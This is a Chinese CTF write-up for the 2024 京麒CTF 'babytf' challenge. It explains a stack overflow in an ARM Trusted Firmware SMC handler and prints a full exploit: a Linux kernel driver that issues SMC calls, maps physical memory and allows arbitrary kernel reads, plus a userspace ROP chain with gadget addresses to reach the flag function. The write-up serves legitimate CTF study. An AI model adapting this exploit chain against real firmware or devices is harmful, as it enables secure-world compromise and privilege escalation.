2024 京麒CTF babytf wp
虚拟机clone寄了所以主机clone然后打包到虚拟机里导致符号链接全没了编译一直寄,评价为:顶尖人干顶尖事:)
交互
注册了一个smc服务
1
2
3
4
5
6
7
8DECLARE_RT_SVC(
MY_SVC,
OEN_OEM_START,
OEN_OEM_END,
SMC_TYPE_FAST,
my_own_svc_setup,
my_smc_handler
);handler,vuln中存在栈溢出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15uintptr_t my_smc_handler(uint32_t smc_fid,
u_register_t x1,
u_register_t x2,
u_register_t x3,
u_register_t x4,
void *cookie,
void *handle,
u_register_t flags){
ERROR("vuln_handler: SMC Call: 0x%x\n", smc_fid);
if (smc_fid != 0xc3000000)
SMC_RET1(handle, SMC_UNK);
vuln((void *)x1, (size_t)x2);
SMC_RET1(handle, 0);
}1
2
3
4
5
6void vuln(void *x1, size_t x2){
char buf[0x100];
ERROR("vuln\n");
memcpy(buf,(void *)x1, x2);
return;
}读flag的函数,但要控制x0==flag,需要ROP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29char flag[0x100];
void getflag(size_t addr){
if(addr != (size_t)flag){
tf_log("\x0aget flag failed!\n");
return;
}
asm(
"MRS X1, S3_3_C15_C12_0\n"
"STR W1, [X0]\n"
"MRS X1, S3_3_C15_C12_1\n"
"STR W1, [X0,#4]\n"
"MRS X1, S3_3_C15_C12_2\n"
"STR W1, [X0,#8]\n"
"MRS X1, S3_3_C15_C12_3\n"
"STR W1, [X0,#0xC]\n"
"MRS X1, S3_3_C15_C12_4\n"
"STR W1, [X0,#0x10]\n"
"MRS X1, S3_3_C15_C12_5\n"
"STR W1, [X0,#0x14]\n"
"MRS X1, S3_3_C15_C12_6\n"
"STR W1, [X0,#0x18]\n"
"MRS X1, S3_3_C15_C12_7\n"
"STR W1, [X0,#0x1C]\n"
);
if(addr == (size_t)flag){
tf_log("\x0aget flag success!\n");
tf_log("\x0a%s\n",flag);
}
}由于smc指令必须在内核态执行,有root权限,可以写一个驱动执行smc指令,根据这行代码↓判断fid为0xc3000000
1
2if (smc_fid != 0xc3000000)
SMC_RET1(handle, SMC_UNK);或者可以根据这张表和注册服务的代码判断
编译
为了让环境尽可能一致,拉了个22.04的ubuntu的docker编的
编出来驱动还是挂不上,version magic对不上,尝试过直接patch,然后就变成了这样
人无语到一定程度真的会笑~~~///(^v^)\\\~~~
最后改了Makefile成了
思路
vuln是从物理地址进行memcpy,给了一个buffer
1
ERROR("Your share buffer is at 0x%x, size 0x2000\n", 0x423DF000);
可以用驱动的mmap把物理地址映射到用户空间
用这两条指令进行ROP控制x0,再执行getflag
1
20x000000000e0a01d4: mov x0, x19; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;
0x000000000e0a1e6c: ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;直接执行getflag会重复执行getflag,因为ROP链是用x30调用getflag的
可以从getflag的第二条指令开始执行,会直接寄,不会有那么多输出
其实可以把所有步骤放在驱动的init里,但这样每次更改都要重编驱动很耗时
exp
感谢呆神
my_exploit_driver.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237/***************************************************************************//**
* \file driver.c
*
* \details Simple Linux device driver (IOCTL)
*
* \author EmbeTronicX
*
* \Tested with Linux raspberrypi 5.10.27-v7l-embetronicx-custom+
*
*******************************************************************************/
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/device.h>
#include<linux/slab.h> //kmalloc()
#include<linux/uaccess.h> //copy_to/from_user()
#include <linux/ioctl.h>
#include <linux/err.h>
#include <linux/io.h>
#include <linux/mm.h>
#include <asm/page.h>
#include <asm/pgtable.h>
#include <linux/arm-smccc.h>
dev_t dev = 0;
static struct class *dev_class;
static struct cdev etx_cdev;
/*
** Function Prototypes
*/
static int __init etx_driver_init(void);
static void __exit etx_driver_exit(void);
static int etx_open(struct inode *inode, struct file *file);
static int etx_release(struct inode *inode, struct file *file);
static ssize_t etx_read(struct file *filp, char __user *buf, size_t len,loff_t * off);
static ssize_t etx_write(struct file *filp, const char *buf, size_t len, loff_t * off);
static long etx_ioctl(struct file *file, unsigned int cmd, unsigned long arg);
static int etx_mmap(struct file *filp, struct vm_area_struct *vma);
/*
** File operation sturcture
*/
static struct file_operations fops =
{
.owner = THIS_MODULE,
.read = etx_read,
.write = etx_write,
.open = etx_open,
.mmap = etx_mmap,
.unlocked_ioctl = etx_ioctl,
.release = etx_release,
};
typedef struct {
unsigned long long int smc_fid;
unsigned long long int x1;
unsigned long long int x2;
unsigned long long int x3;
unsigned long long int x4;
} SmcArgs;
typedef struct {
size_t addr; // 用于存储物理地址
size_t size; // 用于存储读取的大小
size_t recv_addr;
}Arb_read_arg;
SmcArgs smcArg;
Arb_read_arg arb_read_arg;
unsigned char *buf[0x1000];
static unsigned long long int smc_call(
unsigned long long int smc_fid,
unsigned long long int arg1,
unsigned long long int arg2,
unsigned long long int arg3,
unsigned long long int arg4,
struct arm_smccc_res *res
){
arm_smccc_smc(smc_fid, arg1, arg2, arg3, arg4, 0, 0, 0, res);
return res->a0;
}
static int etx_mmap(struct file *filp, struct vm_area_struct *vma)
{
unsigned long offset = vma->vm_pgoff;
if (offset >= __pa(high_memory) || (filp->f_flags & O_SYNC))
vm_flags_set(vma, vma->vm_flags | VM_IO);
vm_flags_set(vma, vma->vm_flags | (VM_DONTEXPAND | VM_DONTDUMP));
if (io_remap_pfn_range(vma, vma->vm_start, offset,
vma->vm_end-vma->vm_start, vma->vm_page_prot))
return -EAGAIN;
return 0;
}
/*
** This function will be called when we open the Device file
*/
static int etx_open(struct inode *inode, struct file *file)
{
pr_info("Device File Opened...!!!\n");
return 0;
}
/*
** This function will be called when we close the Device file
*/
static int etx_release(struct inode *inode, struct file *file)
{
pr_info("Device File Closed...!!!\n");
return 0;
}
/*
** This function will be called when we read the Device file
*/
static ssize_t etx_read(struct file *filp, char __user *buf, size_t len, loff_t *off)
{
pr_info("Read Function\n");
return 0;
}
/*
** This function will be called when we write the Device file
*/
static ssize_t etx_write(struct file *filp, const char __user *buf, size_t len, loff_t *off)
{
pr_info("Write function\n");
return len;
}
/*
** This function will be called when we write IOCTL on the Device file
*/
static long etx_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
switch(cmd) {
case 0x13370001:
if( copy_from_user(&smcArg ,(SmcArgs*) arg, sizeof(SmcArgs)) )
{
pr_err("smc arg : Err!\n");
return -1;
}
int ret = smc_call(smcArg.smc_fid, smcArg.x1, smcArg.x2, smcArg.x3, smcArg.x4, (struct arm_smccc_res *)&smcArg);
pr_info("smc ret: 0x%llx\n", ret);
copy_to_user((SmcArgs*) arg, &smcArg, sizeof(SmcArgs));
return ret;
break;
case 0x13370002:
if( copy_from_user(&arb_read_arg ,(Arb_read_arg*) arg, sizeof(Arb_read_arg)) )
{
pr_err("smc arg : Err!\n");
return -1;
}
unsigned char* ptr = (unsigned char*)arb_read_arg.addr;
if( copy_to_user((unsigned char*)arb_read_arg.recv_addr, ptr,arb_read_arg.size) )
{
pr_err("Data Read : Err!\n");
return -3;
}
break;
default:
pr_info("Default\n");
break;
}
return 0;
}
/*
** Module Init function
*/
static int __init etx_driver_init(void)
{
/*Allocating Major number*/
if((alloc_chrdev_region(&dev, 0, 1, "etx_Dev")) <0){
pr_err("Cannot allocate major number\n");
return -1;
}
pr_info("Major = %d Minor = %d \n",MAJOR(dev), MINOR(dev));
/*Creating cdev structure*/
cdev_init(&etx_cdev,&fops);
/*Adding character device to the system*/
if((cdev_add(&etx_cdev,dev,1)) < 0){
pr_err("Cannot add the device to the system\n");
goto r_class;
}
/*Creating struct class*/
if(IS_ERR(dev_class = class_create("etx_class"))){
pr_err("Cannot create the struct class\n");
goto r_class;
}
/*Creating device*/
if(IS_ERR(device_create(dev_class,NULL,dev,NULL,"etx_device"))){
pr_err("Cannot create the Device 1\n");
goto r_device;
}
pr_info("Device Driver Insert...Done!!!\n");
return 0;
r_device:
class_destroy(dev_class);
r_class:
unregister_chrdev_region(dev,1);
return -1;
}
/*
** Module exit function
*/
static void __exit etx_driver_exit(void)
{
device_destroy(dev_class,dev);
class_destroy(dev_class);
cdev_del(&etx_cdev);
unregister_chrdev_region(dev, 1);
pr_info("Device Driver Remove...Done!!!\n");
}
module_init(etx_driver_init);
module_exit(etx_driver_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("EmbeTronicX <embetronicx@gmail.com>");
MODULE_DESCRIPTION("Simple Linux device driver (IOCTL)");
MODULE_VERSION("1.5");exp.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#define DRIVER_PATH "/dev/etx_device"
#define CMD_SMC 0x13370001
typedef struct
{
unsigned long long int smc_fid;
unsigned long long int x1;
unsigned long long int x2;
unsigned long long int x3;
} SmcArgs;
int main()
{
int devfd = open(DRIVER_PATH, 2);
int status = 0;
unsigned long phys_addr = 0x423DF000;
unsigned long size = 0x2000;
size_t *ptr = mmap(NULL, size, PROT_READ|PROT_WRITE,
MAP_SHARED, devfd, phys_addr);
int i = 0;
for(i = 0; i < 0x20; i++) {
ptr[i] = 0xdeadbeef + i;
}
// 0x000000000e0a01d4: mov x0, x19; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;
// 0x000000000e0a1e6c: ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;
ptr[i++] = 0xdeadbeef; // 0x00
ptr[i++] = 0xe0a1e6c; // 0x08
ptr[i++] = 0xdeadbeef; // 0x10
ptr[i++] = 0xdeadbeef; // 0x18
ptr[i++] = 0xdeadbeef; // 0x20
ptr[i++] = 0xdeadbeef; // 0x28
ptr[i++] = 0xdeadbeef; // 0x00
ptr[i++] = 0xe0a01d4; // 0x08
ptr[i++] = 0xe0d735c; // 0x10 flag
ptr[i++] = 0xdeadbeef; // 0x18
ptr[i++] = 0xdeadbeef; // 0x00
ptr[i++] = 0xe0a25ac; // 0x08 getflag
ptr[i++] = 0xdeadbeef; // 0x10
ptr[i++] = 0xe0a1a7c; // 0x18
SmcArgs smc_arg = {0xc3000000, 0x423DF000, 8*i, 0};
status = ioctl(devfd, CMD_SMC, &smc_arg);
return 0;
}
2024 京麒CTF babytf wp
http://akaieurus.github.io/2024/08/10/jqctf2024-babytf/